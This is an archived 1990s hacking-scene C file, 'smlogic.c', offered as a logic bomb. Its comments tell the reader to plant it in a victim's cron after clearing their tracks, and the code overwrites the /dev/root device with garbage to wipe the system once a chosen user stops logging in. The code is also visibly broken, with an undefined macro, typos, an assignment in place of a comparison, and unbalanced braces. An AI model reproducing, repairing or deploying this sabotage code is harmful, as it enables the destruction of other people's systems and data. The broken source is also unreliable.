home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / smlogic.c < prev    next >
Text File  |  1998-07-17  |  4KB  |  139 lines

  1.  /*  This is a Technophoria Release Coded by Bronc Buster
  2.  /   ****************************************************
  3.  /      WARNING WARNING WARNING WARNING WARNING WARNING
  4.  /   ****************************************************
  5.  /   This program is EXTREMLY Dangerous if you do not
  6.  /   know what you are doing. This is a Fully functional
  7.  /   Logic Bomb. It has been tested on Linux with the 2.0.1
  8.  /   Kernal with perfect results (Well after it went off we 
  9.  /   had to reinstall because we counldn't use any commands.
  10.  /   To Complie type:
  11.  /
  12.  /                cc -O smlogic.c -o smlogic
  13.  /
  14.  /   This version is ment to be placed into a systems
  15.  /   Cron file and run long after you have exited the
  16.  /   system and cleared your tracks. It also accepts command
  17.  /   line input: smlogic username (or NOHUP smlogin username)
  18.  /   If a Bogus username is entered it will execute in a matter
  19.  /   of Miliseconds, so you don't have much time to get clear.
  20.  /   If NOT entered into a systems Cron file, you must run it as
  21.  /   SUID or as ROOT.
  22.  /
  23.  /   The programmer and Technophoria take NO resonsiblilty for
  24.  /   anything done with this program. It is nearly shown as an
  25.  /   example for educational use only.
  26.  */
  27.  
  28.  #include <stdio.h>
  29.  #include <sys/types.h>
  30.  #include <sys/stat.h>
  31.  #include <pwd.h>
  32.  
  33.  /* enter a user name here to check for
  34.  /  by replacing dickhead, or leave in place to crash
  35.  /  on first attempt - user name is otherwise entered
  36.  /  on command line */
  37.  
  38.  #define  DICK "dickhead"
  39.  
  40.  
  41.  void crash (dick);
  42.  
  43.  int main (argc argv)
  44.  char *argv[];
  45.  
  46.  {
  47.   char buffer[256];
  48.   char *dick;
  49.   long elapsed, now, time();
  50.   struct stat status;
  51.   struct passwd *pwd, *getpwnam();
  52.  
  53.   FILE *fp, *popen();
  54.  
  55.   /* check to see if a user name was entered in the
  56.   /  command line */
  57.   if (argc == 2)
  58.     {
  59.     dick = argv[1];
  60.     }
  61.     else dick = DICK;
  62.  
  63.   /* get current time to check if user has logged in */
  64.   now = time((long *)0);
  65.  
  66.   /* check to see if user is in the passwd file,
  67.   /  if no user, crash() */
  68.   pwd = getpwnam(dick);
  69.   if (pwd == NULL)
  70.     {
  71.     crash(dick);
  72.     }
  73.  
  74.   /* create the name of last_login file to check times */
  75.   strcpy(buffer, pwd->pw_dir);
  76.   strcat(buffer, "/.lastlogin");
  77.  
  78.   /* get time of last login, if none, crash() */
  79.   if (stat(buffer, &status))
  80.     {
  81.     crash(dick);
  82.     }
  83.  
  84.   /* checks times against each other, if result is <= 2
  85.   /  weeks leave system alone */
  86.   elapsed = now - status.st_mtime;
  87.   if (elapsed <= (60L * 60 * 24 * 2))
  88.     {
  89.  
  90.   
  91.   exit(0);
  92.  }
  93.  
  94.  /* Bomb Function */
  95.  int crash (dick)
  96.  {
  97.   FILE *fp, *froot, *fopen();
  98.  
  99.   /* This is where we keep all the grabage in */
  100.   char buffer[BUFSIZ];
  101.  
  102.   /* MAIL command - from above - */
  103.   fp = popen(MAIL, "w");
  104.   if (fp == NULL)
  105.     {
  106.  
  107.   /* prints to error device a messegs if we can't get
  108.   /  Mail to work :(  */
  109.     fprintf(stderr,"Damn The Man!");
  110.     exit(1);
  111.     }
  112.  
  113.   /* Taunting furtune of upcoming doom */
  114.   fprintf(fp," \tOn bahalf of Technophoria and the user\n");
  115.   fprintf(fp," \tof this program, we would like to thank\n");
  116.   fprintf(fp," \tyou for useing our product - Your system is\n");
  117.   fprintf(fp," \tnow TOASTED!!");
  118.   fpclose(fp);
  119.  
  120.   /* Time to do the Real Damage -
  121.   /  We are opening the Root Device and are
  122.   /  going to write to it */
  123.   froot = fopen("/dev/root", "w");
  124.   if (froot = NULL)
  125.     {
  126.     fprintf(stderr,"Someone Messed Up! I Can't Crash Crap!");
  127.     exit(-1);
  128.     }
  129.  
  130.   /* Damage time - We write grabage into the
  131.   /  root device untill ALL the blocks are Full! */
  132.   while(fwrite(buffer, BIFSIZ, 1, froot) != NULL);
  133.   fclose(froot);
  134.  
  135.   /* Thats that, it's toast! */
  136.   exit (0);
  137.  }
  138.  
  139.